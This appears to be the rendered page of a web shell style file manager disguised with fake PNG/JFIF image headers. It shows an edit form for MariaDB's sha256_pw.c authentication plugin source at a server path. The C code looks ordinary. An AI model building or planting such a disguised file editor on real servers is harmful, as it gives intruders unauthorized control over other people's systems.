�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2FSRC%2F'>SRC</a>/<a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2F'>mariadb-11.7.2</a>/<a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2Flibmariadb%2F'>libmariadb</a>/<a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2Flibmariadb%2Fplugins%2F'>plugins</a>/<a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2Flibmariadb%2Fplugins%2Fauth%2F'>auth</a>/</p><hr><h3>✏️ Editing: sha256_pw.c</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>/************************************************************************************
  Copyright (C) 2017, 2022, MariaDB Corporation AB

  This library is free software; you can redistribute it and/or
  modify it under the terms of the GNU Library General Public
  License as published by the Free Software Foundation; either
  version 2 of the License, or (at your option) any later version.

  This library is distributed in the hope that it will be useful,
  but WITHOUT ANY WARRANTY; without even the implied warranty of
  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
  Library General Public License for more details.

  You should have received a copy of the GNU Library General Public
  License along with this library; if not see &lt;http://www.gnu.org/licenses&gt;
  or write to the Free Software Foundation, Inc.,
  51 Franklin St., Fifth Floor, Boston, MA 02110, USA
 *************************************************************************************/
#ifndef _WIN32
#define _GNU_SOURCE 1
#endif

#ifdef HAVE_WINCRYPT
#undef HAVE_GNUTLS
#undef HAVE_OPENSSL
#endif

#if defined(HAVE_OPENSSL) || defined(HAVE_WINCRYPT)

#include &lt;ma_global.h&gt;
#include &lt;mysql.h&gt;
#include &lt;mysql/client_plugin.h&gt;
#include &lt;string.h&gt;
#include &lt;memory.h&gt;
#include &lt;errmsg.h&gt;
#include &lt;ma_global.h&gt;
#include &lt;ma_sys.h&gt;
#include &lt;ma_common.h&gt;

#ifndef WIN32
#include &lt;dlfcn.h&gt;
#endif

#if defined(HAVE_WINCRYPT)
#include &lt;wincrypt.h&gt;
#elif defined(HAVE_OPENSSL)
#include &lt;openssl/rsa.h&gt;
#include &lt;openssl/pem.h&gt;
#include &lt;openssl/err.h&gt;
#endif

#define MAX_PW_LEN 1024

/* function prototypes */
static int auth_sha256_client(MYSQL_PLUGIN_VIO *vio, MYSQL *mysql);
static int auth_sha256_init(char *unused1,
    size_t unused2,
    int unused3,
    va_list);


#ifndef PLUGIN_DYNAMIC
struct st_mysql_client_plugin_AUTHENTICATION sha256_password_client_plugin=
#else
struct st_mysql_client_plugin_AUTHENTICATION _mysql_client_plugin_declaration_ =
#endif
{
  MYSQL_CLIENT_AUTHENTICATION_PLUGIN,
  MYSQL_CLIENT_AUTHENTICATION_PLUGIN_INTERFACE_VERSION,
  &quot;sha256_password&quot;,
  &quot;Georg Richter&quot;,
  &quot;SHA256 Authentication Plugin&quot;,
  {0,1,0},
  &quot;LGPL&quot;,
  NULL,
  auth_sha256_init,
  NULL,
  NULL,
  auth_sha256_client,
  NULL
};

#ifdef HAVE_WINCRYPT
static LPBYTE ma_load_pem(const char *buffer, DWORD *buffer_len)
{
  LPBYTE der_buffer= NULL;
  DWORD der_buffer_length= 0;

  if (buffer_len == NULL || *buffer_len == 0)
    return NULL;
  /* calculate the length of DER binary */
  if (!CryptStringToBinaryA(buffer, *buffer_len, CRYPT_STRING_BASE64HEADER,
        NULL, &amp;der_buffer_length, NULL, NULL))
    goto end;
  /* allocate DER binary buffer */
  if (!(der_buffer= (LPBYTE)LocalAlloc(0, der_buffer_length)))
    goto end;
  /* convert to DER binary */
  if (!CryptStringToBinaryA(buffer, *buffer_len, CRYPT_STRING_BASE64HEADER,
        der_buffer, &amp;der_buffer_length, NULL, NULL))
    goto end;

  *buffer_len= der_buffer_length;

  return der_buffer;

end:
  if (der_buffer)
    LocalFree(der_buffer);
  *buffer_len= 0;
  return NULL;
}
#endif

static char *load_pub_key_file(const char *filename, int *pub_key_size)
{
  FILE *fp= NULL;
  char *buffer= NULL;
  unsigned char error= 1;
  size_t bytes_read= 0;
  long fsize= 0;

  if (!pub_key_size)
    return NULL;

  if (!(fp= fopen(filename, &quot;r&quot;)))
    goto end;

  if (fseek(fp, 0, SEEK_END))
    goto end;

  fsize= ftell(fp);
  if (fsize &lt; 0)
    goto end;

  rewind(fp);

  if (!(buffer= malloc(fsize + 1)))
    goto end;

  bytes_read= fread(buffer, 1, (size_t)fsize, fp);
  if (bytes_read &lt; (size_t)fsize)
    goto end;

  *pub_key_size= (int)bytes_read;

  error= 0;

end:
  if (fp)
    fclose(fp);
  if (error &amp;&amp; buffer)
  {
    free(buffer);
    buffer= NULL;
  }
  return buffer;
}


static int auth_sha256_client(MYSQL_PLUGIN_VIO *vio, MYSQL *mysql)
{
  unsigned char *packet;
  int packet_length;
  int rc= CR_ERROR;
  char passwd[MAX_PW_LEN];
  unsigned int rsa_size;
  unsigned int pwlen, i;

#if defined(HAVE_OPENSSL)
  EVP_PKEY *pubkey= NULL;
  EVP_PKEY_CTX *ctx= NULL;
  size_t outlen= 0;
  unsigned char *rsa_enc_pw= NULL;
  BIO *bio;
#elif defined(HAVE_WINCRYPT)
  unsigned char rsa_enc_pw[MAX_PW_LEN];
  HCRYPTKEY pubkey= 0;
  HCRYPTPROV hProv= 0;
  LPBYTE der_buffer= NULL;
  DWORD der_buffer_len= 0;
  CERT_PUBLIC_KEY_INFO *publicKeyInfo= NULL;
  DWORD ParamSize= sizeof(DWORD);
  int publicKeyInfoLen= 0;
#endif
  char *filebuffer= NULL;

  /* read error */
  if ((packet_length= vio-&gt;read_packet(vio, &amp;packet)) &lt; 0)
    return CR_ERROR;

  if (packet_length != SCRAMBLE_LENGTH + 1)
    return CR_SERVER_HANDSHAKE_ERR;

  memmove(mysql-&gt;scramble_buff, packet, SCRAMBLE_LENGTH);
  mysql-&gt;scramble_buff[SCRAMBLE_LENGTH]= 0;

  /* if a tls session is active we need to send plain password */
  if (mysql-&gt;client_flag &amp; CLIENT_SSL)
  {
    if (vio-&gt;write_packet(vio, (unsigned char *)mysql-&gt;passwd, (int)strlen(mysql-&gt;passwd) + 1))
      return CR_ERROR;
    return CR_OK;
  }

  /* send empty packet if no password was provided */
  if (!mysql-&gt;passwd || !mysql-&gt;passwd[0])
  {
    if (vio-&gt;write_packet(vio, 0, 0))
      return CR_ERROR;
    return CR_OK;
  }

  /* read public key file (if specified) */
  if (mysql-&gt;options.extension &amp;&amp;
      mysql-&gt;options.extension-&gt;server_public_key)
  {
    filebuffer= load_pub_key_file(mysql-&gt;options.extension-&gt;server_public_key,
                             &amp;packet_length);
  }

  /* if no public key file was specified or if we couldn&#039;t read the file,
     we ask server to send public key */
  if (!filebuffer)
  {
    unsigned char buf= 1;
    if (vio-&gt;write_packet(vio, &amp;buf, 1))
      return CR_ERROR;
    if ((packet_length=vio-&gt;read_packet(vio, &amp;packet)) == -1)
      return CR_ERROR;
  }
#if defined(HAVE_OPENSSL)
  bio= BIO_new_mem_buf(filebuffer ? (unsigned char *)filebuffer : packet,
                       packet_length);
  if (!(pubkey= PEM_read_bio_PUBKEY(bio, NULL, NULL, NULL)))
    goto error;
  if (!(ctx= EVP_PKEY_CTX_new(pubkey, NULL)))
    goto error;
  if (EVP_PKEY_encrypt_init(ctx) &lt;= 0)
    goto error;
  if (EVP_PKEY_CTX_set_rsa_padding(ctx, RSA_PKCS1_OAEP_PADDING) &lt;= 0)
    goto error;
  rsa_size= EVP_PKEY_size(pubkey);
  BIO_free(bio);
  bio= NULL;
  ERR_clear_error();
#elif defined(HAVE_WINCRYPT)
  der_buffer_len= packet_length;
  /* Load pem and convert it to binary object. New length will be returned
     in der_buffer_len */
  if (!(der_buffer= ma_load_pem(filebuffer ? filebuffer : (char *)packet, &amp;der_buffer_len)))
    goto error;

  /* Create context and load public key */
  if (!CryptDecodeObjectEx(X509_ASN_ENCODING, X509_PUBLIC_KEY_INFO,
                           der_buffer, der_buffer_len,
                           CRYPT_DECODE_ALLOC_FLAG, NULL,
                           &amp;publicKeyInfo, (DWORD *)&amp;publicKeyInfoLen))
    goto error;
  LocalFree(der_buffer);

  if (!CryptAcquireContext(&amp;hProv, NULL, NULL, PROV_RSA_FULL, 
                           CRYPT_VERIFYCONTEXT))
    goto error;
  if (!CryptImportPublicKeyInfo(hProv, X509_ASN_ENCODING,
                                publicKeyInfo, &amp;pubkey))
    goto error;

  /* Get rsa_size */
  CryptGetKeyParam(pubkey, KP_KEYLEN, (BYTE *)&amp;rsa_size, &amp;ParamSize, 0);
  rsa_size /= 8;
#endif
  if (!pubkey)
    return CR_ERROR;

  pwlen= (unsigned int)strlen(mysql-&gt;passwd) + 1;  /* include terminating zero */
  if (pwlen &gt; MAX_PW_LEN)
    goto error;
  memcpy(passwd, mysql-&gt;passwd, pwlen);

  /* xor password with scramble */
  for (i=0; i &lt; pwlen; i++)
    passwd[i]^= *(mysql-&gt;scramble_buff + i % SCRAMBLE_LENGTH);

  /* encrypt scrambled password */
#if defined(HAVE_OPENSSL)
  if (EVP_PKEY_encrypt(ctx, NULL, &amp;outlen, (unsigned char *)passwd, pwlen) &lt;= 0)
    goto error;
  if (!(rsa_enc_pw= malloc(outlen)))
    goto error;
  if (EVP_PKEY_encrypt(ctx, rsa_enc_pw, &amp;outlen, (unsigned char *)passwd, pwlen) &lt;= 0)
    goto error;
#elif defined(HAVE_WINCRYPT)
  if (!CryptEncrypt(pubkey, 0, TRUE, CRYPT_OAEP, (BYTE *)passwd, (DWORD *)&amp;pwlen, MAX_PW_LEN))
    goto error;
  /* Windows encrypts as little-endian, while server (openssl) expects
     big-endian, so we have to revert the string */
  for (i= 0; i &lt; rsa_size / 2; i++)
  {
    rsa_enc_pw[i]= passwd[rsa_size - 1 - i];
    rsa_enc_pw[rsa_size - 1 - i]= passwd[i];
  }
#endif
  if (vio-&gt;write_packet(vio, rsa_enc_pw, rsa_size))
    goto error;

  rc= CR_OK;
error:
#if defined(HAVE_OPENSSL)
  if (pubkey)
    EVP_PKEY_free(pubkey);
  if (bio)
    BIO_free(bio);
  if (ctx)
    EVP_PKEY_CTX_free(ctx);
  if (rsa_enc_pw)
    free(rsa_enc_pw);
#elif defined(HAVE_WINCRYPT)
  CryptReleaseContext(hProv, 0);
  if (publicKeyInfo)
    LocalFree(publicKeyInfo);
#endif
  free(filebuffer);
  return rc;
}
/* }}} */

/* {{{ static int auth_sha256_init */
/*
   Initialization routine

   SYNOPSIS
   auth_sha256_init
   unused1
   unused2
   unused3
   unused4

   DESCRIPTION
   Init function checks if the caller provides own dialog function.
   The function name must be mariadb_auth_dialog or
   mysql_authentication_dialog_ask. If the function cannot be found,
   we will use owr own simple command line input.

   RETURN
   0           success
 */
static int auth_sha256_init(char *unused1 __attribute__((unused)), 
    size_t unused2  __attribute__((unused)), 
    int unused3     __attribute__((unused)), 
    va_list unused4 __attribute__((unused)))
{
  return 0;
}
/* }}} */

#endif  /* defined(HAVE_OPENSSL) || defined(HAVE_WINCRYPT) */
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2Flibmariadb%2Fplugins%2Fauth'>🔙 Back</a></p>